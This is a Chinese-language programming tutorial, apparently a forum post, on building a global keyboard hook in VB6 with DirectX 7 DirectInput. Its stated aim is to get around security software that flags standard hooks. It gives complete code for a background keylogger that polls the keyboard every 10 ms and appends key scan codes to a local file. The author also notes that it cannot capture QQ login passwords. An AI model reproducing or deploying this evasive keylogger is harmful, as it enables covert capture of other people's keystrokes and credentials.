首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > VB >

在VB中使用DirectX组件进行键盘的全局HOOK解决思路

2012-02-19 
在VB中使用DirectX组件进行键盘的全局HOOK在VB中使用DirectX组件进行键盘的全局HOOK“咦,DX不是用来开发游

在VB中使用DirectX组件进行键盘的全局HOOK
在VB中使用DirectX组件进行键盘的全局HOOK
  “咦,DX不是用来开发游戏的吗,跟HOOK有什么关系?”
  “对吖,正是因为这样,才意想不到嘛^_^”
  用SetWindowsHookEx这个API函数来设置WH_KEYBOARD_LL的HOOK固然是拦截键盘输入的好办法,但是现在的各种安全程序都很强大咯,它们对全局HOOK都会有所反应了,所以在VB中通过设置WH_KEYBOARD_LL来HOOK键盘有时候也不怎么好用了。这个时候,DirectX是另一个好朋友。DirectX提供了强大的多媒体编程接口,当然啦,主要是用来开发3D游戏,但是也可以做别的用途嘛。DirectInput是DirectX的组成部分之一,就是我们今天要用到的东西。大家都知道3D游戏一般对性能要求比较高,所以对输入设备也要求有比较高的实时性(试想一下一款激烈的赛车游戏,如果仅靠windows的消息机制来读取键盘的话,恐怕很难满足玩家对于高操控性和高灵敏度的要求)。因此DX的DirectInput提供了在底层对硬件做比较直接的访问的功能。也正是因为DirectInput比消息机制更接近硬件层,所以对于有特殊要求的环境,用它作键盘鼠标HOOK真是再合适不过了。DirectInput不但可以访问键盘鼠标,还支持游戏杆之类的,当然,现在我们主要用到的是键盘,其它的就不介绍了。
  DX有不同的版本,VB提供了对DX7和DX8的支持,更高版本的就不支持了-_-\。不过没关系,因为DX是向下兼容的,所以,如果你安装的是DX10的话,DX7和8也是可以用的。这里我们就介绍在DX7中访问键盘的方法。VB要使用DX库,必须先在工程中引用这个库,很简单:单击菜单栏的“工程”--引用--在“引用”对话框中找到“DirectX 7 For Visual Basic Type Library”,把前面的钩打上,然后确定,就可以了。然后就可以使用DX库创建DX对象。首先,建立一个DX7主对象,像这样:Dim DX As New DirectX7,然后,使用DX对象的DirectInputCreate方法可以创建一个DirectInput对象:Set DI = DX.DirectInputCreate(),再然后,用DirectInput对象的CreateDevice方法就可以创建一个键盘或鼠标对象了(根据参数决定)。比如创建键盘对象就这样:Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard")。有了键盘对象DI_Keyboard,就可以用它来访问键盘输入了。
  在WH_KEYBOARD_LL这个键盘HOOK中,键盘的拦截是通过回调函数实现的,当有个键被按下时,操作系统会自动调用我们注册的回调函数,并传给我们被按下按键的代码,所以很方便。但是DirectInput不太一样,因为它工作在更接近硬件的层次,所以并不提供消息HOOK回调那样的高级功能(其实DirectInput的高级功能中还是提供了类似于windows那样的消息事件机制的,不过今天我们并不讨论它,所以忽略吧^_^)。DirectInput可以通过轮询的方式访问键盘,这就好比HOOK回调就是键盘有个动作,系统主动告诉我们,而DirectInput就是系统不主动告诉我们,而是我们自己不断的去问键盘:有没有被按下?有没有被按下?明白了这个就好办了,我们只需要做一个无限循环,在循环中用DirectInput不断检测键盘状态,就可以知道哪个键被按下了。另外,DirectInput返回的是键盘的扫描码,而我们一般用到的是键盘虚拟码,我们可以把DirectInput返回的键盘扫描码转换为虚拟码,就可以知道哪个键被按下了,关于键盘扫描码与键盘虚拟码的转换方法和详细说明,可以参考这个帖子上面的一段说明:http://topic.csdn.net/t/20061224/14/5252514.html
顺便说一下,WINIO也可以用来轮询键盘的,跟DirectInput差不多啦。
下面给出一个示例代码,这个程序会记录你的键盘操作,然后保存到d:\mykey.txt这个文件中,保存的是扫描码,大家也可以转换一下。
先打开VB6,新建一个工程,然后引用DX开发库(“工程”--引用--在“引用”对话框中找到“DirectX 7 For Visual Basic Type Library”,把前面的钩打上,然后确定),然后再在窗体中加入一个Timer控件,把下面的代码添加到窗体中,就可以了。

Dim DX As DirectX7
Dim DI As DirectInput
Dim DI_Keyboard As DirectInputDevice
Dim key_state As DIKEYBOARDSTATE '存储键盘状态的结构变量
Dim key_num As Integer '保存键盘扫描码

Private Sub Form_Load()
Set DX = New DirectX7 '建立DirectX对象
Set DI = DX.DirectInputCreate() '建立DirectInput对象
Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard") '建立DirectInput的键盘对象

DI_Keyboard.SetCommonDataFormat DIFORMAT_KEYBOARD '设置数据格式
DI_Keyboard.SetCooperativeLevel Me.hWnd, DISCL_BACKGROUND Or DISCL_NONEXCLUSIVE '设置协作模式(就是DX设备要与某个窗口关联)。DISCL_BACKGROUND这个是最重要的,它让程序即使在后台运行也能监视键盘输入,不然怎么做HOOK呢^_^

DI_Keyboard.Acquire '开始

Timer1.Interval = 10 '设置键盘的轮询时间
Timer1.Enabled = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
DI_Keyboard.Unacquire '释放DirectInput对象
End Sub
Private Sub Timer1_Timer()
Dim key_count As Integer, keydown As Boolean
keydown = False
DI_Keyboard.GetDeviceStateKeyboard key_state '轮询键盘,并把键盘输入保存到key_state结构中
For key_count = 0 To 255
If key_state.Key(key_count) <> 0 Then '判断是否有键被按下,key_count代表的是被按下的键的扫描码,最好转换成键盘虚拟码,再转换成实际的键,这里就不转换了^_^
  keydown = True
  key_num = key_count
End If
Next

' 将记录写入文件
' 注意由于是轮询的方式,得到的按键状态是连续的,所以小处理一下可以得到单个的按键
If (Not keydown) And key_num <> 0 Then
  Open "d:\mykey.txt" For Append As #1
  Print #1, CStr(key_num); " ";
  Close #1
  key_num = 0
End If
End Sub

好了,基本上就是这样,代码的注释也比较详细,希望对大家有帮助。有什么问题可以联系我,QQ:511795070
顺便再说一下,想用这个方法拦截QQ登陆框的密码是无效的,因为键盘加密保护也是个驱动级的东西^_^

[解决办法]
HD378...........难道是.........?

我是老马啊~~~

热点排行